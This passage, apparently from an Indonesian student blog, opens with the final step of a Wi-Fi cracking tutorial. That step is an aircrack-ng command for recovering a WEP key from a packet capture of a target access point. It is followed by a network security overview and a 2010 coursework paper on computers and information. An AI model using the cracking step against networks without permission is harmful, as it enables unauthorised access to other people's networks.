6.pada terminal lain juga lakukan aircrack-ng -z [nama_file]-01.cap -b [mac_AP] untuk membuat sebuah capture dan mengcrack password yang nanti akan muncul di terminal
untuk WEP saya sudah pernah berhasil, tapi katanya juga bisa untuk WPA tapi saya belum pernah mencobanya.

Network Security

Seperti yang kita lihat di saat ini, Internet telah tumbuh dan berkembang hingga mencapai angka beberapa juta unit komputer yang terkoneksi di berbagai belahan dunia. Dari hari ke hari pula informasi yang terkandung di dalam jaringan Internet tersebut semakin lengkap, akurat, dan penting. . Informasi telah menjadi suatu asset yang sedemikian berharga sehingga perlu mendapat perlakuan yang lebih spesifik. Selain itu pula, kemajuan yang dicapai dalam bidang pengembangan sistem operasi komputer sendiri dan utulitasnya sudah sedemikian jauh dimana tingkat performansi, keandalan dan fleksibilitas software menjadi kriteria utama dalam proses pengembangan software.
Dengan semakin penting dan berharganya informasi tersebut dan ditunjang oleh kemajuan pengembangan software, tentunya menarik minat para pembobol (hacker) dan penyusup (intruder) untuk terus bereksperimen guna menemukan dan mempergunakan setiap kelemahan yang ada dari konfigurasi sistem informasi yang telah ditetapkan.Akan tetapi ketakutan tersebut bisa diminimaslisasikan, dan berbagai konsep terus bermunculan, salah satunya yaitu konsep network security. Konsep network security ini tersebut lebihditujukan untuk terhadap sistem keamanan jaringan internet yang bisa mengancam dan merusak dari sitem komputer bersangkutan.
Sebenarnya, masalah Network Security ini timbul dari konektivitas jaringan komputer lokal yang kita miliki dengan wide-area network (seperti Internet). Jadi, selama jaringan lokal komputer kita tidak terhubung kepada wide-area network, masalah Network Security tidak begitu penting. Tetapi hal ini bukan berarti memberikan arti bahwa bergabung dengan wide-area network adalah suatu hal yang ‘menakutkan’ dan penuh
bahaya. Network Security hanyalah menjelaskan kemungkinan-kemungkinan yang akan timbul dari konektivitas jaringan komputer lokal kita dengan wide-area network.Secara umum, terdapat 3 (tiga) kata kunci dalam konsep Network Security ini, yaitu:
* resiko / tingkat bahaya,
* ancaman, dan
* kerapuhan sistem (vulnerability)
# Resiko atau tingkat bahaya
berarti seberapa besar kemungkinan yang bisa terjadi para penyusup mengacak-ngacak, sistem keamanan yang ada pada masing-masing komputer.
# Ancaman
Ancaman bisa saja terjadi pada koneksi jaringan,yang terus berusaha menguasai penuh jalannya koneksi internet, ataupun bahaya dari virus, hacker maupun cracker.
# Kerapuhan Sistem
Kerapuhan sistem lebih memiliki arti seberapa jauh proteksi yang bisa diterapkan kepada network yang dimiliki dari seseorang dari luar sistem yang berusaha memperoleh akses illegal terhadap jaringan komputer.
Guna mencegah berhasilnya eksploitasi para hacker dan intruder tersebut, dikembangkan sebuah konsep yang dikenal dengan UNIX Network Security Architecture. Arsitektur ini mencakup 7 lapis tingkat sekuriti pada jaringan. Ketujuh lapis tersebut adalah sebagai berikut :
* Lapis ke-7 : Kebijaksanaan(pelindung terhadap keseluruhan program proteksi dan sekuriti jaringan yang diterapkan).
* Lapis ke-6 : Personil (mendefinisikan segi manusia dalam sistem jaringan informasi).
* Lapis ke-5 : Local Area Network (mendefinisikan peralatan-peralatan dan data-data yang arus mendapatkan proteksi).
* Lapis ke-4 : Batas Dalam Jaringan (pemisah antara sistem jaringan informasi lokal dengan jaringan luar).
* Lapis ke-3 : Gateway (mendefinisikan menjadi pintu utama dari dan ke sistem yang dimiliki).
* Lapis ke-2 : Paket Filtering (bersifat sebagai program yang menjalankan fungsi pengawasan (monitoring) terhadap paket-paket data yang masuk maupun yang keluar sistem).
* Lapis ke-1 : Batas Luar Jaringan (mendefinisikan titik dimana sistem terhubung dan tidak memiliki kontrol langsung terhadap titik tersebut).

Tentang ComputerSecurity

TUGAS SOFTSKILL
Tentang ComputerSecurity




OLEH: Lan Asi Bisuk M.







56409042/2IA20
TEKNIK informatika
FAKULTAS TEKNIK UNIVERSITAS GUNADARMA 2010






KATA PENGANTAR
Dengan mengucapkan puji syukur kehadirat Tuhan YME dan berkat rahmat dan izinya sehingga tugas softskill dengan materi networkingsecurity bisa selesai tepat waktu. Dalam penulisan makalah ini tidak terlepas dari dukungan dan partisipasi dari berbagai pihak. Sehubungan dengan hal itu, penulis mengucapkan terima kasih kepada pihak-pihak yang telah membantu dalam kegiatan ini. Penulis menyadari makalah ini masih jauh dari kesempurnaan oleh karena itu, penulis sangat mengharapkan masukan, kritik dan saran untuk kesempurnaan penulisan makalah ini pada masa yang akan datang. Demikianlah makalh ini yang dapat penulis sajikan ini dan mudah-mudahan dapat bermamfaat bagi penulis khususnya dan pada pembaca umumnya.

BAB I PENDAHULUAN
A. Latar Belakang
Seiring dengan berkembangnya teknologi pada saat sekarang ini terutama teknologi informasi dan komunikasi, maka sudah sepatutnyalah kita memanfaatkan kemajuan teknologi tersebut. Salah satu dari perkembangan teknologi yang banyak digunakan adalah komputer. Untuk itu perlu dikembangkan apakah komputer tersebut dapat menghasilkan informasi. Hampir seluruh aspek kehidupan manusia saat ini tidak dapat dilepaskan dari teknologi, khususnya teknologi komputer. Dapat dilihat bahwa untuk menuliskan suatu dokumen, orang cenderung sudah meninggalkan mesin ketik manual dan sudah digantikan perannya oleh komputer. Kasir di suatu pertokoan besar (supermarket) sudah menggunakan peralatan otomatis berupa komputer yang didisain khusus untuk keperluan itu. Kumpulan lagu-lagu yang sebelumnya hanya dapat didengarkan melalui media kaset atau piringan hitam, saat ini sudah mulai dikemas dalam bentuk compact disk (CD) yang dapat didengarkan dengan menggunakan komputer multimedia. Belum lagi perkembangan teknologi komputer di bidang kesehatan yang maju sangat pesat untuk membantu diagnosa penyakit dan proses penyembuahnnya. Dan masih banyak lagi bidang-bidang kehidupan manusia yang saat ini sudah menggunakan peralatan komputer. B. Tujusan Penulisan Adapun yang menjadi tujuan penulis dalam penulisan makalah ini adalah untuk menjelaskan bagaimana sebenarnya kaitan antara komputer, Sistem Informasi, (Tele)Komunikasi dan Teknologi Informasi?. Serta penulisan makalah ini bertujuan untuk melengkapi tugas mata kuliah “Computer Network Security”. C. Rumusan Masalah Dengan keterbatasan waktu, dan kesempatan serta untuk lebih jelas dan akuratnya hasil dari makalah ini maka penulis merasa perlu untuk merumuskan permasalahan sebagai berikut : a. Komputer sebagai penghasil informasi. b. Komputer sebagai pengolah informasi. c. Komputer sebagai sarana komunikasi informasi. d. Komputer sebagai alat validasi informasi. e. Komputer sebagai pengontrol informasi.
BAB II PEMBAHASAN
Bagaimana sebenarnya kaitan antara komputer dengan sistem informasi?
Untuk menjawab hal ini marilah terlebih dahulu kita lihat pengertian dari komputer dan informasi itu. Komputer adalah alat yang dipakai untuk mengolah data menurut prosedur yang telah dirumuskan. sebenarnya begitu saja fungsi bagi suatu komputer. hanya saja sejalan dengan perkembangan teknologi maka kemampuan komputansi makin canggih. kecanggihan inilah yang kemudian membawa peradaban baru dalam dunia informasi dan komunikasi. Sistem informasi adalah sistem yang terdiri dari sekumpulan orang, data, dan aktivitas yang memproses data dan informasi dalam suatu organisasi, termasuk proses-proses otomatis dan juga manual. namun secara khusus, yaitu sistem informasi berbasis komputer, dapat diartikan sebagai: software aplikasi khusus yang digunakan untuk menyimpan data dalam sistem komputer, serta mengotomatisasi pengolahan informasi di suatu organisasi. berdasarkan definisi ini tampak bahwa sistem informasi sudah identik dengan komputer. Selanjutnya terkait dengan pesatnya perkembangan dunia komunikasi, terutama telekomunikasi, memacu teknologi komputer sebagai tulang punggung pengembangan, baik pada sistem jaringan, mikro komputer, hingga jaringan internet untuk makin canggih dan merambah ke berbagai sendi-sendi kehidupan manusia. Akhirnya keseluruhan teknologi berbasis komputer tersebut membawa pada terminologi puncak yaitu teknologi informasi, yang mencakup segala teknologi yang mendukung produksi, manipulasi, penyimpanan, komunikasi, dan/ atau penyampaian informasi. karena itu bila kita membicarakan teknologi informasi, sama saja mengindikasikan penggunaan komputer dan informasi sebagai satu kesatuan. Berikut ini disajikan dijelaskan beberapa kegunaan dari komputer tersebut.
A. Komputer sebagai penghasil informasi Komputer
dikatakan sebagai penghasil karena dengan mengunakan komputer kita dapat memperoleh suatu informasi yang kita butuhkan. Misalnya saja dalam pengolahan suatu data, data yang diolah dengan mengunakan komputer tersebut akan menghasilkan informasi yang baru. Dalam melakukan pengelolaan data menjadi informasi.
Pemakaian komputer memiliki beberapa keunggulan seperti berikut di bawah ini.
a) Proses pengolahan yang cepat.
Mengingat informasi merupakan landasan bagi suatu pengambilan keputusan, maka datangnya tidak boleh terlambat. Jika sebuah informasi terlambat diterima, sudah barang tentu manfaatnya akan lebih rendah dibandingkan dengan jika informasi tersebut datang tepat pada waktunya. Dengan pengolahan data berbasis komputer dalam sistem informasi, masalah kecepatan dalam menghasilkan informasi dapat lebih teratasi. Komputer memang sudah teruji tingkat kecepatan prosesnya. Dari komputer generasi pertama yang hanya berkemampuan memproses ribuan operasi per detik sekarang sudah memiliki kemampuan milyaran operasi atau bahkan triliun operasi dalam setiap detiknya. Dengan kemampuan mempersingkat waktu pekerjaan tersebut membuat manusia tidak perlu mempersulit diri dan menghabiskan waktunya untuk satu pekerjaan saja serta bisa memanfaatkan waktu untuk juga mengerjakan pekerjaan-pekerjaan yang lain.
b) Tingkat akurasi informasi yang dihasilkan cukup tinggi.
Akurat, berarti bahwa infornasi yang dihasilkan tepat sesuai dengan tujuan pengolahan data. Sebuah informasi harus akurat mengingat proses jalannya informasi dari sumber informasi sampai ke penerima banyak terdapat noise atau gangguan-gangguan yang dapat merubah atau merusak informasi tersebut. Manusia dalam bekerja mengenal batas waktu dan tenaga tetapi tidak demikian halnya dengan sistem yang berbasis komputer. Karena komputer tidak memiliki mental dan tidak mengenal lelah, maka komputer memiliki tingkat ketepatan yang sama dalam melakukan suatu proses tidak terbatas oleh waktu dan tenaga.
c) Efisiensi Sumber Daya Manusia.
Coba hitung berapa personil yang perusahaan butuhkan jika sistem informasi pada perusahaan Anda masih Tradisional. Sebut saja pada sistem pembuatan laporan keuangan. Ada petugas Jurnal, Internal Audit, Petugas Ledger, Petugas Adjustment sampai pada petugas pembuat Rugi Laba dan Neraca. Di dalam sistem informasi akuntansi yang berbasis komputer, personil-personil tersebut bisa diefiensikan dan didaya-gunakan untuk tugas-tugas yang lain yang tentunya lebih perlu, karena mulai dari proses input jurnal transaksi, posting data sampai pembuatan rugi laba dan neraca sudah dikerjakan oleh komputer, dan hanya memerlukan seorang operator saja untuk menjalankannya. Pada sistem akuntansi yang berbasis komputer, manusia sebagai operator sistem tinggal melakukan pemasukan data-data awal ke dalam komputer saja. Dalam hitungan detik setelah data-data dimasukkan, informasi akuntansi yang dibutuhkan dapat langsung ditampilkan dan dimanfaatkan untuk kegiatan selanjutnya.
d) Kemudahan Berinteraksi Dengan Penggunanya “Sistem Komputer Interaktif” menunjuk pada kemudahan dalam menjalankan aplikasi-aplikasi yang berbasis komputer. Komputer dirancang sedemikian rupa baik dari sisi perangkat keras maupun lunaknya untuk membuat manusia betah mengoperasikannya. Penggunaan simbol-simbol atau tandatanda tertentu dalam pengoperasian program dapat dengan mudah dipahami oleh operatornya. Masalah bahasapun sudah bukan menjadi kendala lagi, mengingat sekarang sudah banyak program-program dibuat dengan menggunakan berbagai macam bahasa.
B. Komputer sebagai pengolah informasi
Komputer adalah alat yang dipakai untuk mengolah data menurut prosedur yang telah dirumuskan. Kata computer semula dipergunakan untuk menggambarkan orang yang perkerjaannya melakukan perhitungan aritmatika, dengan atau tanpa alat bantu, tetapi arti kata ini kemudian dipindahkan kepada mesin itu sendiri. Asal mulanya, pengolahan informasi hampir eksklusif berhubungan dengan masalah aritmatika, tetapi komputer modern dipakai untuk banyak tugas yang tidak berhubungan dengan matematika. Dalam definisi seperti itu terdapat alat seperti slide rule, jenis kalkulator mekanik mulai dari abakus dan seterusnya, sampai semua komputer elektronik yang kontemporer. Istilah lebih baik yang cocok untuk arti luas seperti “komputer” adalah “yang memproses informasi” atau “sistem pengolah informasi.” Pengolahan data merupakan suatu proses manipulasi dari data ke dalam bentuk yang lebih berguna dan lebih berati, yaitu berupa suatu informasi. Dengan demikian, informasi adalah hasil dari suatu kegiatan pengolahan data yang memberikan bentuk yang lebih bermakna dari suatu fakta. Oleh karena itu, pengolahan data elektronik adalah proses manipulasi dari data ke dalam bentuk yang lebih bermakna berupa suatu informasi dengan menggunakan suatu alat elektronik, yaitu komputer. Bagaimana Komputer Bekerja Saat teknologi yang dipakai pada komputer digital sudah berganti secara dramatis sejak komputer pertama pada tahun 1940-an (lihat Sejarah perangkat keras menghitung untuk lebih banyak detail), komputer kebanyakan masih menggunakan arsitektur Von Neumann, yang diusulkan di awal 1940-an oleh John von Neumann. Arsitektur Von Neumann menggambarkan komputer dengan empat bagian utama: Unit Aritmatika dan Logis (ALU), unit kontrol, memori, dan alat masukan dan hasil (secara kolektif dinamakan I/O). Bagian ini dihubungkan oleh berkas kawat, “bus” a. Memori RAM Di sistem ini, memori adalah urutan byte yang dinomori (seperti “sel” atau “lubang burung dara”), masing-masing berisi sepotong kecil informasi. Informasi ini mungkin menjadi perintah untuk mengatakan pada komputer apa yang harus dilakukan. Sel mungkin berisi data yang diperlukan komputer untuk melakukan suatu perintah. Setiap slot mungkin berisi salah satu, dan apa yang sekarang menjadi data mungkin saja kemudian menjadi perintah. Memori menyimpan berbagai bentuk informasi sebagai angka biner. Informasi yang belum berbentuk biner akan dipecahkan (encoded) dengan sejumlah instruksi yang mengubahnya menjadi sebuah angka atau urutan angka-angka.
Sebagai contoh: Huruf F disimpan sebagai angka desimal 70 (atau angka biner ) menggunakan salah satu metode pemecahan. Instruksi yang lebih kompleks bisa digunakan untuk menyimpan gambar, suara, video, dan berbagai macam informasi. Informasi yang bisa disimpan dalam satu sell dinamakan sebuah byte. Secara umum, memori bisa ditulis kembali lebih jutaan kali – memori dapat diumpamakan sebagai papan tulis dan kapur yang dapat ditulis dan dihapus kembali, daripada buku tulis dengan pena yang tidak dapat dihapus. Ukuran masing-masing sel, dan jumlah sel, berubah secara hebat dari komputer ke komputer, dan teknologi dalam pembuatan memori sudah berubah secara hebat – dari relay elektromekanik, ke tabung yang diisi dengan air raksa (dan kemudian pegas) di mana pulsa akustik terbentuk, sampai matriks magnet permanen, ke setiap transistor, ke sirkuit terpadu dengan jutaan transistor di atas satu chip silikon b. Pemrosesan Unit Pemproses Pusat atau CPU ( central processing unit) berperanan untuk memproses arahan, melaksanakan pengiraan dan menguruskan laluan informasi menerusi system komputer. Unit atau peranti pemprosesan juga akan berkomunikasi dengan peranti input , output dan storan bagi melaksanakan arahan-arahan berkaitan. Berkas:CPU with pins.jpg Contoh sebuah CPU dalam kemasan Ball Grid Array (BGA) ditampilkan terbalik dengan menunjukan kaki-kakinya Dalam arsitektur von Neumann yang asli, ia menjelaskan sebuah Unit Aritmatika dan Logika, dan sebuah Unit Kontrol. Dalam komputer-komputer modern, kedua unit ini terletak dalam satu sirkuit terpadu (IC – Integrated Circuit), yang biasanya disebut CPU (Central Processing Unit). Unit Aritmatika dan Logika, atau Arithmetic Logic Unit (ALU), adalah alat yang melakukan pelaksanaan dasar seperti pelaksanaan aritmatika (tambahan, pengurangan, dan semacamnya), pelaksanaan logis (AND, OR, NOT), dan pelaksanaan perbandingan (misalnya, membandingkan isi sebanyak dua slot untuk kesetaraan). Pada unit inilah dilakukan “kerja” yang nyata. Unit kontrol menyimpan perintah sekarang yang dilakukan oleh komputer, memerintahkan ALU untuk melaksanaan dan mendapat kembali informasi (dari memori) yang diperlukan untuk melaksanakan perintah itu, dan memindahkan kembali hasil ke lokasi memori yang sesuai. Sekali yang terjadi, unit kontrol pergi ke perintah berikutnya (biasanya ditempatkan di slot berikutnya, kecuali kalau perintah itu adalah perintah lompatan yang memberitahukan kepada komputer bahwa perintah berikutnya ditempatkan di lokasi lain).
c. Input dan Hasil I/O membolehkan komputer mendapatkan informasi dari dunia luar, dan menaruh hasil kerjanya di sana, dapat berbentuk fisik (hardcopy) atau non fisik (softcopy). Ada berbagai macam alat I/O, dari yang akrab keyboard, monitor dan disk drive, ke yang lebih tidak biasa seperti webcam (kamera web, printer, scanner, dan sebagainya. Yang dimiliki oleh semua alat masukan biasa ialah bahwa mereka meng-encode (mengubah) informasi dari suatu macam ke dalam data yang bisa diolah lebih lanjut oleh sistem komputer digital. Alat output, men-decode data ke dalam informasi yang bisa dimengerti oleh pemakai komputer. Dalam pengertian ini, sistem komputer digital adalah contoh sistem pengolah data yang akan menghasilkan suatu informasi “Are message items correct?” Informasi yang dihasilkan oleh proses pengolahan data, haruslah benar sesuai dengan perhitungan-perhitungan yang ada dalam proses tersebut. Sebgai contoh, jika sebuah informasi menunjukkan total nilai gaji yang harus dibayarkan pada seorang pegawai, maka informasi tersebut haruslah sudah benar dan memuat perhitungan-perhitungan matematis Yang paling menonjol adalah proses pengolahan data dengan menggunakan komputer sebagai alat bantu. Penggunaan komputer tersebut akan dapat terus mengurangi biaya-biaya pada posisi yang paling rendah dibandingkan dengan metode pengolahan yang lain.Grafik lain yang dapat membuktikan peningkatan nilai sebuah informasi adalah grafik hubungan Nilai Informasi, Biaya, dengan Waktu pengolahan data menjadi informasi
C. Komputer sebagai sarana komunikasi informasi
Dalam pembelajaran, komputer dapat digunakan sebagai alat untuk menyampaikan informasi atau ide-ide yang terkandung dalam pembelajaran kepada peserta didik. Selain itu, komputer dapat juga digunakan sebagai media yang memungkinkan peserta didik belajar secara mandiri dalam memahami suatu konsep. Hal ini sangat memungkinkan, karena komputer mempunyai kemampuan mengkombinasikan teks, suara, warna, gambar, gerak, dan video, serta memuat suatu kepintaran yang sanggup menyajikan proses interaktif. Dekatnya hubungan antara informasi dan teknologi jaringan komunikasi telah menghasilkan dunia maya yang amat luas yang biasa disebut dengan teknologi cyberspace. Teknologi ini berisikan kumpulan informasi yang dapat diakses oleh semua orang dalam bentuk jaringan-jaringan komputer yang disebut jaringan internet. Sebagai media penyedia informasi internet juga merupakan sarana kegiatan komunitas komersial terbesar dan terpesat pertumbuhannya. Sistem jaringan memungkinkan setiap orang dapat mengetahui dan mengirimkan informasi secara cepat dan menghilangkan batas-batas teritorial suatu wilayah negara. Kepentingan yang ada bukan lagi sebatas kepentingan suatu bangsa semata, melainkan juga kepentingan regional bahkan internasional.
D. Komputer sebagai alat validasi informasi Validasi
adalah penentuan apakah informasi yang ada sudah dapat dijamin keabsahannya ataukah tidak. Komputer adalah peralatan yang dapat digunakan untuk untuk validasi suatu informasi, karna dengan teknologi yang dimiliki komputer mampu melacak kebenaran suatu informasi.
E. Komputer sebagai pengontrol informasi
Dewasa ini,komputer atau disebut PC sudah berada hampir di semua Rumah, Gedung atau perkantoran. Kebanyakan komputer lebih sering digunakan untuk keperluan ketik-mengetik, film, musik dan permainan. Padahal komputer juga bisa digunakan untuk keperluan pengontrolan peralatan listrik rumah tangga seperti lampu, kipas angin dan lain-lain dengan memanfaatkan Paralel Port (Port printer) pada komputer tersebut. Dalam dunia komputer, port adalah satu set instruksi atau perintah sinyal dimana microprocessor atau CPU (Central Processing Unit) menggunakannya untuk memindahkan data dari atau ke piranti lain. Penggunaan umum port adalah untuk berkomunikasi dengan printer, modem, keyboard dan display. Kebanyakan port-port komputer adalah berupa kode digital, di mana tiap-tiap sinyal atau bit adalah berupa kode biner 1 atau 0.
BAB III PENUTUP
A. Kesimpulan
Perkembangan Teknologi Informasi (TI) menyebabkan perubahan terhadap cara pandang manusia terhadap suatu informasi. Komputer adalah sarana yang akan digunakan untuk mengikuti perkembangan teknologi. Dengan adanya komputer informasi akan dapat dihasilkan sesuai dengan yang diharapkan. Yang pada intinya komputer dapat digunakan sebagai penghasil informasi, pengolah informasi, sarana komunikasi, alat validasi informasi dan pengontrol informasi.